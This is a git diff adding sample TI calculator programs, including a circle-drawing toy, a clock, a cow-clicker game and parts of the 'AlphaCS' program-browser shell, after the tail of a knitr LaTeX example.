+The first element of \texttt{x} is \Sexpr{x[1]}. Boring boxplots
+and histograms recorded by the PDF device:
+
+<<boring-plots, fig.width=4, fig.height=4, out.width='.4\\linewidth'>>=
+## two plots side by side (option fig.show='hold')
+par(mar=c(4,4,.1,.1),cex.lab=.95,cex.axis=.9,mgp=c(2,.7,0),tcl=-.3,las=1)
+boxplot(x)
+hist(x,main='')
+@
+
+Do the above chunks work? You should be able to compile the \TeX{}
+document and get a PDF file like this one: \url{https://github.com/yihui/knitr/releases/download/doc/knitr-minimal.pdf}.
+The Rnw source of this document is at \url{https://github.com/yihui/knitr/blob/master/inst/examples/knitr-minimal.Rnw}.
+\end{document}
diff --git a/samples/TI Program/CIRCLES.8xp b/samples/TI Program/CIRCLES.8xp
new file mode 100644
index 0000000000..fc8d80a907
--- /dev/null
+++ b/samples/TI Program/CIRCLES.8xp	
@@ -0,0 +1,22 @@
+3->X
+3->Y
+randInt(0,255)->A
+randInt(0,255)->B
+det(16,A,B
+While det(73)!=15
+	If randInt(0,1):Then
+		If X>3:~8randInt(0,1)+X->J
+	Else
+		If X<315:8randInt(0,1)+X->J
+	End
+	If randInt(0,1):Then
+		If Y>3:~8randInt(0,1)+Y->K
+	Else
+		If Y<235:8randInt(0,1)+Y->K
+	End
+	det(19,J,K
+	If Ans!=A or theta!=B:det(79,6
+	J->X:K->Y
+	det(62,randInt(0,255),randInt(0,255),X,Y,3
+End
+det(82
diff --git a/samples/TI Program/CLOCK.8xp b/samples/TI Program/CLOCK.8xp
new file mode 100644
index 0000000000..98c57c773d
--- /dev/null
+++ b/samples/TI Program/CLOCK.8xp	
@@ -0,0 +1,16 @@
+:DCS6
+"0000000000000000000000000000000000000000000000000000000000000000
+:
+"7E6666666666667E781818181818187E7E0606067E60607E7E06063E0606067E6666667E060606067E60607E0606067E7E60607E6666667E7E0606060C0C0C0C7E66667E6666667E7E66667E0606067E->Str1
+"CLOCK->Str0
+getTime
+Ans(1->T
+.1int(1+12fPart(2log(pie^(7Ans->H
+"0000->Str2
+For(A,1,15,2
+	Ans+sub(Str1,A+16int(H),2)+sub(Str1,A+160fPart(H),2
+End
+det(3
+Ans+Str2+sub("1C8812D81CA81088100C8812D81EA8128812",1+18(T<13),18)+"880000
+sub(Str9,2,1)+Ans->Str9:2
+det(1
diff --git a/samples/TI Program/cowsource.8xp b/samples/TI Program/cowsource.8xp
new file mode 100644
index 0000000000..831481ec35
--- /dev/null
+++ b/samples/TI Program/cowsource.8xp	
@@ -0,0 +1,380 @@
+:DCS6
+"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC"
+:
+
+
+If 1337!=det([[42:Then
+	Disp "DOORS CS 7 NOT","ON CALC.GET DCS7","DCS.CEMETECH.NET
+Return:End
+
+GridOff:AxesOff
+0->Xmin:94->Xmax
+~62->Ymin:0->Ymax
+ClrDraw:ClrHome
+getTmFmt
+Ans->theta
+setTmFmt(24
+
+Line(0,0,20,0
+Line(21,~1,21,~7
+Line(20,~8,0,~8
+Text(1,1,"Clicks"
+Line(78,0,94,0
+Line(77,~1,77,~7
+Line(78,~8,94,~8
+Text(1,79,"Shop"
+Line(23,~11,72,~11
+Line(73,~12,73,~61
+Line(72,~62,23,~62
+Line(22,~61,22,~12
+Line(39,~12,39,~61
+Line(56,~12,56,~61
+Line(72,~28,23,~28
+Line(23,~45,72,~45
+
+Line(88,~55,93,~55
+Line(94,~56,94,~61
+Line(93,~62,88,~62
+Line(87,~61,87,~56
+
+Line(89,~57,92,~60
+Line(89,~60,92,~57
+
+
+9->dim(|LTIME
+3->dim(|LANS
+5->dim(|LITEM
+11->dim(|LCOW
+
+If |LCOW(3)=0:Then
+	Fill(~1,|LTIME
+	1->|LCOW(3)
+	20->|LITEM(3)
+	75->|LITEM(4)
+	250->|LITEM(5)
+End
+
+Line(1,~54,5,~54
+Line(0,~55,0,~61
+Line(6,~55,6,~61
+Line(1,~62,5,~62
+Text(55,2,"?
+
+Goto PS
+
+Lbl A
+{45,32,1
+While 1
+	sum(6,Ans(1),Ans(2
+	Ans->|LANS
+	
+	If |LANS(1)>=0 and |LANS(1)<=6:Then
+		If |LANS(2)>=54 and |LANS(2)<=62:Then
+			StorePic 1
+			ClrDraw
+			Text(0,1,"Gameplay:"
+			Text(7,1,"Click on cows to recieve
+			Text(14,1,"Mooney and Clicks. Use them
+			Text(21,1,"to buy items. Items will only"
+			Text(28,1,"appear in the shop when you"
+			Text(35,1,"can get them.
+			Text(42,1,"Controls:
+			Text(49,1,"Arrow keys to move cursor,
+			Text(56,1,"[2ND] or [ENTER] to click.
+			Pause 
+			ClrDraw
+			RecallPic 1
+		End
+	End
+	
+	If |LANS(1)>=23 and |LANS(1)<=38:Then
+		If |LANS(2)>=12 and |LANS(2)<=27:Then
+			getTime
+			If Ans(1)!=|LTIME(1) or |LITEM(2)!=0:Then
+				|LCOW(1)+(1+|LITEM(1))->|LCOW(1)
+				|LCOW(2)+(1+|LITEM(1))->|LCOW(2)
+				getTime
+				Ans(1)->|LTIME(1)
+			End
+		End
+	End
+	
+	If |LANS(1)>=40 and |LANS(1)<=55:Then
+		If |LANS(2)>=12 and |LANS(2)<=27:Then
+			getTime
+			If Ans(1)!=|LTIME(2) or |LITEM(2)!=0:Then
+				If |LCOW(4)=1:Then
+					|LCOW(2)+1->|LCOW(2)
+					|LCOW(1)+1->|LCOW(1)
+					getTime
+					Ans(1)->|LTIME(2)
+				End
+			End
+		End
+	End
+	
+	If |LANS(1)>=57 and |LANS(1)<=72:Then
+		If |LANS(2)>=12 and |LANS(2)<=27:Then
+			getTime
+			If Ans(1)!=|LTIME(3) or |LITEM(2)!=0:Then
+				If |LCOW(5)=1:Then
+					|LCOW(1)+1->|LCOW(1)
+					|LCOW(2)+1->|LCOW(2)
+					getTime
+					Ans(1)->|LTIME(3)
+				End
+			End
+		End
+	End
+	
+	If |LANS(1)>=23 and |LANS(1)<=38:Then
+		If |LANS(2)>=29 and |LANS(2)<=44:Then
+			getTime
+			If Ans(1)!=|LTIME(4) or |LITEM(2)=1:Then
+				If |LCOW(6)=1:Then
+					|LCOW(1)+1->|LCOW(1)
+					|LCOW(2)+1->|LCOW(2)
+					getTime
+					Ans(1)->|LTIME(4)
+				End
+			End
+		End
+	End
+	
+	If |LANS(1)>=40 and |LANS(1)<=55:Then
+		If |LANS(2)>=29 and |LANS(2)<=44:Then
+			getTime
+			If Ans(1)!=|LTIME(5) or |LITEM(2)=1:Then
+				If |LCOW(7)=1:Then
+					|LCOW(1)+1->|LCOW(1)
+					|LCOW(2)+1->|LCOW(2)
+					getTime
+					Ans(1)->|LTIME(5)
+				End
+			End
+		End
+	End
+	
+	If |LANS(1)>=57 and |LANS(1)<=72:Then
+		If |LANS(2)>=29 and |LANS(2)<=44:Then
+			getTime
+			If Ans(1)!=|LTIME(6) or |LITEM(2)=1:Then
+				If |LCOW(8)=1:Then
+					|LCOW(1)+1->|LCOW(1)
+					|LCOW(2)+1->|LCOW(2)
+					getTime
+					Ans(1)->|LTIME(6)
+				End
+			End
+		End
+	End
+	
+	If |LANS(1)>=23 and |LANS(1)>=38:Then
+		If |LANS(2)>=46 and |LANS(2)<=61:Then
+			getTime
+			If Ans(1)!=|LTIME(7) or |LITEM(2)=1:Then
+				If |LCOW(9)=1:Then
+					|LCOW(1)+1->|LCOW(1)
+					|LCOW(2)+1->|LCOW(2)
+					getTime
+					Ans(1)->|LTIME(7)
+				End
+			End
+		End
+	End
+	
+	If |LANS(1)>=40 and |LANS(1)<=55:Then
+		If |LANS(2)>=46 and |LANS(2)<=61:Then
+			getTime
+			If Ans(1)!=|LTIME(8) or |LITEM(2)=1:Then
+				If |LCOW(10)=1:Then
+					|LCOW(1)+1->|LCOW(1)
+					|LCOW(2)+1->|LCOW(2)
+					getTime
+					Ans(1)->|LTIME(8)
+				End
+			End
+		End
+	End
+	
+	If |LANS(1)>=57 and |LANS(1)<=72:Then
+		If |LANS(2)>=44 and |LANS(2)<=61:Then
+			getTime
+			If Ans(1)!=|LTIME(9) or |LITEM(2)=1:Then
+				If |LCOW(11)=1:Then
+					|LCOW(1)+1->|LCOW(1)
+					|LCOW(2)+1->|LCOW(2)
+					getTime
+					Ans(1)->|LTIME(9)
+				End
+			End
+		End
+	End
+	
+	|LANS
+	
+	If |LANS(1)>=87 and |LANS(1)<=94:Then
+		If |LANS(2)>=55 and |LANS(2)<=62:Then
+			Goto Q
+		End
+	End
+	
+	If |LANS(1)>=0 and |LANS(1)<=21:Then
+		If |LANS(2)>=0 and |LANS(2)<=8:Then
+			StorePic 1
+			ClrDraw
+			Text(0,0,"You haved clicked"
+			Text(7,0,|LCOW(1)," Cow(s)."
+			If |LCOW(1)>=100 and |LCOW(1)<=9999:Text(14,0,"You have a bronze cowbell.
+			If |LCOW(1)>=10000 and |LCOW(1)<=99999:Text(14,0,"You have a silver cowbell.
+			If |LCOW(1)>=100000 and |LCOW(1)<=999999:Text(14,0,"You have a gold cowbell.
+			If |LCOW(1)>=1000000:Text(14,0,"You have a diamond cowbell.
+			If |LCOW(1)<100:Text(14,0,"You have no cowbell.
+			Text(21,0,"Share your score at
+			Text(28,0,"www.cemetech.net!
+			Pause 
+			ClrDraw:RecallPic 1
+		End
+	End
+	If |LANS(1)>=77 and |LANS(1)<=94:Then
+		If |LANS(2)>=0 and |LANS(2)<=8:Then
+			
+			"Shop
+			StorePic 1
+			ClrDraw
+			Lbl S
+			Line(94,~7,94,~1
+			Line(93,0,1,0
+			Line(0,~7,0,~1
+			Line(93,~8,1,~8
+			
+			Line(88,~55,93,~55
+			Line(94,~56,94,~61
+			Line(93,~62,88,~62
+			Line(87,~61,87,~56
+			
+			Line(89,~57,92,~60
+			Line(89,~60,92,~57
+			
+			Text(1,2,"Shop!                              Mooney:",|LCOW(2)
+			
+			Line(45,~18,1,~18
+			
+			Text(11,14,"Items
+			
+			If |LCOW(2)>=|LITEM(3):Then
+				If |LCOW(11)=0:Then
+					Line(45,~20,1,~20
+					Line(45,~28,1,~28
+					Line(46,~21,46,~27
+					Line(0,~21,0,~27
+					Text(21,2,"Cow:                   ",|LITEM(3)
+				End
+			End
+			
+			If |LCOW(2)>=|LITEM(4):Then
+				If |LITEM(1)<=100:Then
+					Line(45,~30,1,~30
+					Line(45,~38,1,~38
+					Line(46,~31,46,~37
+					Line(0,~31,0,~37
+					Text(31,2,"Pointer:      ",|LITEM(4)
+				End
+			End
+			
+			If |LCOW(2)>=|LITEM(5):Then
+				If |LITEM(2)=0:Then
+					Line(45,~40,1,~40
+					Line(45,~48,1,~48
+					Line(46,~41,46,~47
+					Line(0,~41,0,~47
+					Text(41,2,"Clock:            ",|LITEM(5)
+				End
+			End
+			
+			{45,32,1
+			While 1
+				sum(6,Ans(1),Ans(2)
+				Ans->|LANS
+				
+				If |LANS(1)>=0 and |LANS(1)<=46:Then
+					If |LANS(2)>=20 and |LANS(2)<=28:Then
+						If |LCOW(2)>=20 and |LCOW(11)!=1:Then
+							For(A,3,11)
+								If |LCOW(A)=0:Then
+									|LCOW(2)-|LITEM(3)->|LCOW(2)
+									1->|LCOW(A)
+									|LITEM(3)+iPart(|LITEM(3)/10)->|LITEM(3)
+									ClrDraw
+									Goto S
+								End
+							End
+						End
+					End
+				End
+				
+				If |LANS(1)>=0 and |LANS(1)<=45:Then
+					If |LANS(2)>=30 and |LANS(2)<=38:Then
+						If |LCOW(2)>=75:Then
+							If |LITEM(1)<=100:Then
+								|LITEM(1)+1->|LITEM(1)
+								|LCOW(2)-|LITEM(4)->|LCOW(2)
+								|LITEM(4)+iPart(|LITEM(4)/25)->|LITEM(4)
+								ClrDraw
+								Goto S
+							End
+						End
+					End
+				End
+				
+				If |LANS(1)>=0 and |LANS(1)<=46:Then
+					If |LANS(2)>=40 and |LANS(2)<=48:Then
+						If |LCOW(2)>=250 and |LITEM(2)=0:Then
+							1->|LITEM(2)
+							|LCOW(2)-250->|LCOW(2)
+							|LITEM(5)+iPart(|LITEM(5)/10)->|LITEM(5)
+							ClrDraw
+							Goto S
+						End
+					End
+				End
+				
+				If |LANS(1)>=87 and |LANS(1)<=94:Then
+					If |LANS(2)>=55 and |LANS(2)<=62:Then
+						ClrDraw
+						RecallPic 1
+						
+						Lbl PS
+						
+						If |LCOW(3)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",23,12,2,16,0,0,1)
+						If |LCOW(4)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",40,12,2,16,0,0,1)
+						If |LCOW(5)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",57,12,2,16,0,0,1)
+						If |LCOW(6)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",23,29,2,16,0,0,1)
+						If |LCOW(7)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",40,29,2,16,0,0,1)
+						If |LCOW(8)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",57,29,2,16,0,0,1)
+						If |LCOW(9)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",23,46,2,16,0,0,1)
+						If |LCOW(10)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",40,46,2,16,0,0,1)
+						If |LCOW(11)=1
+						identity(5,"00000FF01C081A481258125810383FFC4002800188119C399C39881140023FFC",57,46,2,16,0,0,1)
+						
+						Goto A
+					End
+				End
+			End
+		End
+	End
+End
+End
+
+Lbl Q
+setTmFmt(theta
+DelVar thetaDelVar |LANSDelVar Pic1
+ClrDraw:ClrHome
diff --git a/samples/TI Program/srcalpha.8xp.txt b/samples/TI Program/srcalpha.8xp.txt
new file mode 100644
index 0000000000..71149ad7d0
--- /dev/null
+++ b/samples/TI Program/srcalpha.8xp.txt	
@@ -0,0 +1,63 @@
+.AlphaCS
+#ExprOff
+If getKey(41)
+	sub(ADM)
+End
+Lbl START
+"appv alpha "->Str1
+"appvAlphaCS"->Str2
+.ALPHA CS
+[7EFFFFE7FFFFE7E7]->Pic11
+[E0E0E0E0E0FFFF7F]->Pic12
+[FEFFE7FFFEE0E0E0]->Pic13
+[E7E7E7FFFFE7E7E7]->Pic14
+[7EFFFFE7FFFFE7E7]->Pic15
+[7FFFFFE0E0FFFF7F]->Pic16
+[7FFFFF781EFFFFFE]->Pic17
+.arch
+[0038447C44440000]->Pic21
+.hide
+[0054004400540000]->Pic22
+.lock
+[0038447C7C7C0000]->Pic23
+.(c) Scott Mangiapane
+Data(72,8)->GDB0
+[42600A360008000100994DDF2A6C61B1B28091294A22AAAAAAAB005A6DCA226A69B9A9800000000000202000000000000000C0200000000000000000000000000000000000000000]
+.icon unknown
+Data(16,16)->GDB11
+[EFFEA803EB8308032BFB28032BFB0803EBFBA803EBFB08032B8328032FFF07FF]
+.icon SRC
+Data(16,16)->GDB12
+[01801A583E7C3FFC3FFC3E7C1A580A500240FFFFC471BDAFCC6FF5AF8DB1FFFF]
+.icon ASM
+Data(16,16)->GDB13
+[FFFFFFFFFFFFFFFFFFFFCE6BB5D586D5B75DB4DDFFFFFFFFFFFFFFFFFFFFFFFF]
+.icon shell
+Data(16,16)->GDB14
+[FFFFFFFFFFFFFFFFFFFFFFFF97B5B155D5359595FFFFFFFFFFFFFFFFFFFFFFFF]
+Goto SET
+prgmSRCFUNC
+prgmSRCGUI
+prgmSRCSORT
+Lbl SET
+.start, set up
+ClrDraw
+StoreGDB 
+DiagnosticOff
+Fix 5
+Full
+!If GetCalc(Str1,[Y1])
+	sub(NEW)
+	StoreGDB 
+End
+GetCalc(Str1,[Y1])
+If {[Y1]+0}
+	!If sub(CODE)
+		Goto END
+	End
+End
+Asm(FDCB249E)
+If {[Y1]+6}
+	Asm(FDCB24DE)
+End
+Goto DLIST
\ No newline at end of file
diff --git a/samples/TI Program/srcfunc.8xp.txt b/samples/TI Program/srcfunc.8xp.txt
new file mode 100644
index 0000000000..84c91340ec
--- /dev/null
+++ b/samples/TI Program/srcfunc.8xp.txt	
@@ -0,0 +1,194 @@
+.FUNC AlphaCS
+Lbl ADM
+DiagnosticOff
+Fix 5
+Full
+StoreGDB 
+sub(D2,13,17,70,29,"Admin Access")
+sub(D1,15,27)
+Text(15,37,"Admin Code:  -   -   -   -")
+DispGraph
+Repeat getKey->A
+End
+Text(55,37,"*")
+DispGraph
+Repeat getKey->B
+End
+Text(62,37,"*")
+DispGraph
+Repeat getKey->C
+End
+Text(69,37,"*")
+DispGraph
+Repeat getKey->D
+End
+Text(76,37,"*")
+DispGraph
+Normal
+Pause 100
+Full
+If (A!=20) or (B!=35) or (C!=18) or (D!=27)
+	Goto END
+End
+sub(D2,13,17,70,29,"Author Info")
+sub(D1,15,27)
+Bitmap(15,38,GDB0)
+DispGraph
+Repeat (getKey) and (getKey(9))
+End
+DelVar "appv alpha "
+Return
+Lbl D1
+.draws title
+Pt-On([r1]+1,[r2]+1,Pic11)
+Pt-On([r1]+10,[r2]+1,Pic12)
+Pt-On([r1]+19,[r2]+1,Pic13)
+Pt-On([r1]+28,[r2]+1,Pic14)
+Pt-On([r1]+37,[r2]+1,Pic15)
+Pt-On([r1]+48,[r2]+1,Pic16)
+Pt-On([r1]+57,[r2]+1,Pic17)
+RectI([r1],[r2],66,10)
+Pxl-Off([r1],[r2])
+RectI([r1]+14,[r2],4,5)
+RectI([r1]+23,[r2]+7,4,3)
+RectI([r1]+46,[r2]+1,1,8)
+RectI([r1]+45,[r2],3,1)
+RectI([r1]+46,[r2]+9,2,1)
+Pxl-Off([r1]+65,[r2]+9)
+Return
+Lbl D2
+.windows
+Rect([r1]+1,[r2],[r3]-2,[r4])
+Rect([r1],[r2]+1,[r3],[r4]-2)
+RectI([r1]+1,[r2]+1,[r3]-2,[r4]-2)
+Text([r1]+2,[r2]+2,[r5])
+RectI([r1]+1,[r2]+1,[r3]-2,8)
+Pt-Off([r1]+[r3]-9,[r2]+1,[C1BEAAB6AABEC1FF])
+Pxl-On([r1]+1,[r2]+[r4]-2)
+Pxl-On([r1]+[r3]-2,[r2]+[r4]-2)
+Return
+Lbl D3
+.archiving box
+sub(D2,15,22,66,20,"Archiving...")
+Text(17,31,"Please wait...")
+Return
+Lbl CODE
+sub(D2,15,22,66,20,"Access Denied")
+Text(29,32," -      -      -      - ")
+DispGraph
+1->[r2]
+Repeat getKey->[r1]
+End
+Text(29,32,"*")
+DispGraph
+If [r1]!=({[Y1]+1})
+	0->[r2]
+End
+Repeat getKey->[r1]
+End
+Text(39,32,"*")
+DispGraph
+If [r1]!=({[Y1]+2})
+	0->[r2]
+End
+Repeat getKey->[r1]
+End
+Text(49,32,"*")
+DispGraph
+If [r1]!=({[Y1]+3})
+	0->[r2]
+End
+Repeat getKey->[r1]
+End
+Text(59,32,"*")
+DispGraph
+If [r1]!=({[Y1]+4})
+	0->[r2]
+End
+Normal
+Pause 200
+Full
+Return[r2]
+Lbl NEW
+ClrDraw
+sub(D1,0,0)
+RectI(0,11,96,1)
+Text(1,12,"Installation")
+Text(1,20,"Enter your new keycode:")
+Text(1,26," -  -  -  - ")
+DispGraph
+GetCalc(Str1,16)->[r1]
+Fill([r1],16,1)
+0->{[r1]}
+Repeat getKey->[r2]
+End
+[r2]->{[r1]+1}
+Text(1,26,"*")
+DispGraph
+Repeat getKey->[r2]
+End
+[r2]->{[r1]+2}
+Text(7,26,"*")
+DispGraph
+Repeat getKey->[r2]
+End
+[r2]->{[r1]+3}
+Text(13,26,"*")
+DispGraph
+Repeat getKey->[r2]
+End
+[r2]->{[r1]+4}
+Text(19,26,"*")
+DispGraph
+Fill(L1,50,0)
+Text(1,34,"Confirm keycode:")
+Text(1,40," -  -  -  - ")
+DispGraph
+Repeat getKey->[r2]
+End
+[r2]->{L1+1}
+Text(1,40,"*")
+DispGraph
+Repeat getKey->[r2]
+End
+[r2]->{L1+2}
+Text(7,40,"*")
+DispGraph
+Repeat getKey->[r2]
+End
+[r2]->{L1+3}
+Text(13,40,"*")
+DispGraph
+Repeat getKey->[r2]
+End
+[r2]->{L1+4}
+Text(19,40,"*")
+DispGraph
+If ({[r1]+1}={L1+1}) and ({[r1]+2}={L1+2}) and ({[r1]+3}={L1+3}) and ({[r1]+4}={L1+4})
+	sub(D3)
+	DispGraph
+	GetCalc(Str2,10)
+	Archive Str1
+	GetCalc(Str1,[Y1])
+	ClrDraw
+	Return
+	Else
+	Text(1,48,"ERROR keycodes do not")
+	Text(1,54,"match.")
+	DispGraph
+	UnArchive Str1
+	DelVar Str1
+	Repeat getKey
+	End
+	Goto END
+End
+Return
+Lbl END
+Asm(FDCB249E)
+If {[Y1]+6}
+	Asm(FDCB24DE)
+End
+ClrDraw
+ClrDraw^^r
+ClrHome
+Return^^r
\ No newline at end of file
diff --git a/samples/TI Program/srcgui.8xp.txt b/samples/TI Program/srcgui.8xp.txt
new file mode 100644
index 0000000000..aba98bf385
--- /dev/null
+++ b/samples/TI Program/srcgui.8xp.txt	
@@ -0,0 +1,563 @@
+.GUI AlphaCS
+#Axiom(RUNPRGM)
+#Axiom(ZSTAXE)
+Lbl DLIST
+ClrDraw
+ClrDraw^^r
+sub(D1,0,0)
+RectI(0,11,96,1)
+!If sub(POLAR,1)
+	RectI(0,63,96,1)
+	Text(1,13,"No programs found.")
+	DispGraph
+	Goto KLIST2
+	Else
+	Fill(L5,50,0)
+	Copy(L1,L5,20)
+	13->B->G
+	0->I
+	1->H
+	Text(1,13,L2)
+	If D
+		Pt-On(77,13,Pic21)
+	End
+	If E
+		Pt-On(83,13,Pic22)
+	End
+	If F
+		Pt-On(89,13,Pic23)
+	End
+	For(S,1,6)
+		If sub(ADJ,1)
+			S*7+13->G
+			Text(1,S*7+13,L2)
+			If D
+				Pt-On(77,S*7+13,Pic21)
+			End
+			If E
+				Pt-On(83,S*7+13,Pic22)
+			End
+			If F
+				Pt-On(89,S*7+13,Pic23)
+			End
+		End
+	End
+End
+Fill(L4,50,0)
+Copy(L1,L4,20)
+Lbl KLIST1
+Rect(90,0,6,10)
+RectI(90,0,6,10)
+0->S->T
+sub(POLAR,1)
+If Equ>String(L1,L5)
+	S++
+End
+sub(POLAR,0)
+If Equ>String(L1,L4)
+	T++
+End
+If (S) and (T)
+	Pt-On(90,6,[F870200000000000])
+	Pt-On(90,2,[2070F80000000000])
+	Else
+	If S
+		Pt-On(90,4,[2070F80000000000])
+	End
+	If T
+		Pt-On(90,4,[F870200000000000])
+	End
+End
+RectI(0,63,96,1)
+RectI(0,B,96,7)
+DispGraph
+RectI(0,B,96,7)
+RectI(0,63,96,1)
+If getKey(15)
+	Goto DLIST
+End
+Repeat getKey
+	If getKey(41)
+		Repeat getKey(41)=0
+		End
+		Asm(3E01D303FB76)
+		Repeat getKey(41)=0
+		End
+	End
+End
+If getKey(48)
+	Goto DSET1
+End
+If (getKey(9)) or (getKey(54))
+	Fill(L1,50,0)
+	Copy(L5,L1,20)
+	If (B-13/7)=0
+		Fill(L1,50,0)
+		Copy(L5+1,L1,20)
+		sub(DATA)
+		Else
+		For(B-13/7)
+			sub(ADJ,1)
+		End
+	End
+	Goto DPRGM1
+End
+If getKey(4)
+	If (B!=13)
+		For(S,0,7)
+			RectI(0,63,96,1)
+			RectI(0,B-S,96,7)
+			DispGraph
+			RectI(0,B-S,96,7)
+			RectI(0,63,96,1)
+		End
+		B-7->B
+		Else
+		sub(POLAR,1)
+		If Equ>String(L1,L5)
+			Fill(L1,50,0)
+			Copy(L4,L1,20)
+			sub(ADJ,0)
+			Fill(L4,50,0)
+			Copy(L1,L4,20)
+			Fill(L1,50,0)
+			Copy(L5,L1,20)
+			sub(ADJ,0)
+			Fill(L5,50,0)
+			Copy(L1,L5,20)
+			Fill(L1,50,0)
+			Copy(L4,L1,20)
+			Rect(0,0,96,13)
+			RectI(0,0,96,13)
+			For(7)
+				Vertical+
+			End
+			Rect(0,62,96,2)
+			RectI(0,62,96,2)
+			Text(1,13,L2)
+			If D
+				Pt-On(77,13,Pic21)
+			End
+			If E
+				Pt-On(83,13,Pic22)
+			End
+			If F
+				Pt-On(89,13,Pic23)
+			End
+			Rect(0,0,96,13)
+			RectI(0,0,96,13)
+			sub(D1,0,0)
+			RectI(0,11,96,1)
+		End
+	End
+End
+If getKey(1)
+	If (B!=G)
+		For(S,0,7)
+			RectI(0,63,96,1)
+			RectI(0,B+S,96,7)
+			DispGraph
+			RectI(0,B+S,96,7)
+			RectI(0,63,96,1)
+		End
+		B+7->B
+		Else
+		sub(POLAR,0)
+		If Equ>String(L1,L4)
+			Fill(L1,50,0)
+			Copy(L5,L1,20)
+			sub(ADJ,1)
+			Fill(L5,50,0)
+			Copy(L1,L5,20)
+			Fill(L1,50,0)
+			Copy(L4,L1,20)
+			sub(ADJ,1)
+			Fill(L4,50,0)
+			Copy(L1,L4,20)
+			For(7)
+				Vertical-
+			End
+			Text(1,55,L2)
+			If D
+				Pt-On(77,55,Pic21)
+			End
+			If E
+				Pt-On(83,55,Pic22)
+			End
+			If F
+				Pt-On(89,55,Pic23)
+			End
+			Rect(0,0,96,13)
+			RectI(0,0,96,13)
+			sub(D1,0,0)
+			RectI(0,11,96,1)
+		End
+	End
+End
+If getKey(15)
+	Goto END
+End
+Goto KLIST1
+Lbl KLIST2
+If getKey(15)
+	Goto DLIST
+End
+Repeat getKey
+	If getKey(41)
+		Repeat getKey(41)=0
+		End
+		Asm(3E01D303FB76)
+		Repeat getKey(41)=0
+		End
+	End
+End
+If getKey(48)
+	Goto DSET1
+End
+If getKey(15)
+	Goto END
+End
+Goto KLIST2
+Lbl DPRGM1
+GetCalc("appv alpha ",[Y1])
+13->B
+D->X
+E->Y
+F->Z
+Lbl DPRGM2
+GetCalc(L1,[Y3])
+0->H
+If ({[Y3]+0}=187) and ({[Y3]+1}=109)
+	1->H
+	If {[Y3]+2}=201
+		2->H
+	End
+	If {[Y3]+3}=201
+		3->H
+	End
+End
+If {[Y3]+0}=58
+	4->H
+End
+ClrDraw
+ClrDraw^^r
+sub(D1,0,0)
+RectI(0,11,96,1)
+Text(1,49,L2)
+RectI(0,48,96,16)
+69->S
+If Z
+	Pt-Change(S,56,Pic23)
+	S-6->S
+End
+If Y
+	Pt-Change(S,56,Pic22)
+	S-6->S
+End
+If X
+	Pt-Change(S,56,Pic21)
+End
+RectI(1,56,94,7)
+Text(2,56,"size: ",{[Y3]-2}^^r>Dec)
+Text(1,13,"Run (with zStart)")
+If X
+	Text(1,20,"Unarchive PRGM")
+	Else
+	Text(1,20,"Archive PRGM")
+End
+If Y
+	Text(1,27,"Unhide PRGM")
+	Else
+	Text(1,27,"Hide PRGM")
+End
+If Z
+	Text(1,34,"Unlock PRGM")
+	Else
+	Text(1,34,"Lock PRGM")
+End
+Rect(76,44,20,20)
+RectI(77,45,18,18)
+If H=0
+	Bitmap(78,46,GDB11)
+End
+If H=1
+	Bitmap(78,46,GDB13)
+End
+If H=2
+	Bitmap(78,46,GDB14)
+End
+If H=3
+	Bitmap(78,46,GDB14)
+End
+If H=4
+	Bitmap(78,46,GDB12)
+End
+Lbl KPRGM
+RectI(0,B,96,7)
+DispGraph
+RectI(0,B,96,7)
+Repeat getKey
+End
+If (getKey(9)) or (getKey(54))
+	If B=13
+		sub(SETPRGM)
+		Goto RUN
+		Else
+		Fill(L2,20,0)
+		Copy(L1+1,L2,20)
+		Fill(L1,20,0)
+		Copy(L2,L1,20)
+		sub(DATA)
+		If B=20
+			If X
+				0->X
+				Else
+				1->X
+			End
+			Goto DPRGM2
+		End
+		If B=27
+			If Y
+				0->Y
+				Else
+				1->Y
+			End
+			Goto DPRGM2
+		End
+		If B=34
+			If Z
+				0->Z
+				Else
+				1->Z
+			End
+			Goto DPRGM2
+		End
+	End
+End
+If (getKey(4)) and (B!=13)
+	For(S,0,7)
+		RectI(0,B-S,96,7)
+		DispGraph
+		RectI(0,B-S,96,7)
+		Normal
+		Pause 3
+		Full
+	End
+	B-7->B
+End
+If ((getKey(1)) and (B!=34)
+	For(S,0,7)
+		RectI(0,B+S,96,7)
+		DispGraph
+		RectI(0,B+S,96,7)
+		Normal
+		Pause 3
+		Full
+	End
+	B+7->B
+End
+If getKey(15)
+	sub(SETPRGM)
+	Goto DLIST
+End
+Goto KPRGM
+Lbl SETPRGM
+If (X!=D) or (Y!=E) or (Z!=F)
+	If X
+		sub(D3)
+		DispGraph
+	End
+	UnArchive L1
+	X->D
+	If (E!=Y)
+		If Y
+			{C-7}-64->{C-7}
+			{L1+1}-64->{L1+1}
+			Else
+			{C-7}+64->{C-7}
+			{L1+1}+64->{L1+1}
+		End
+		Y->E
+	End
+	If (F!=Z)
+		If Z
+			6->{C}
+			|E06->{L1}
+			Else
+			5->{C}
+			|E05->{L1}
+		End
+		Z->F
+	End
+	If X
+		Archive L1
+	End
+End
+GetCalc(L1,[Y3])
+Return
+Lbl RUN
+GetCalc("appv hold ",20)->S
+Fill(S,20,0)
+Copy(L1+1,S,10)
+A->{S+15}
+DiagnosticOn
+Fix 4
+Normal
+If D
+	GetCalc("appvzRun",{[Y3]-2}^^r)->S
+	Copy([Y3],S,{[Y3]-2}^^r)
+End
+2-SampZInt(|LRUNERR)
+If D
+	Fpdf("appvzRun")
+	Else
+	Fpdf(L1)
+End
+2-SampTInt 
+DelVar "appvzRun"
+GetCalc("appv hold ")->S
+Fill(L1,20,0)
+Copy(S,L1,10)
+{S+15}->A
+sub(DATA)
+DelVar "appv hold "
+DiagnosticOff
+Fix 5
+Full
+Repeat getKey=0
+End
+Goto DPRGM1
+Lbl RUNERR
+2-SampFTest ->S
+DelVar "appvzRun"
+DiagnosticOff
+Fix 5
+Full
+sub(D2,10,22,76,20,"Error")
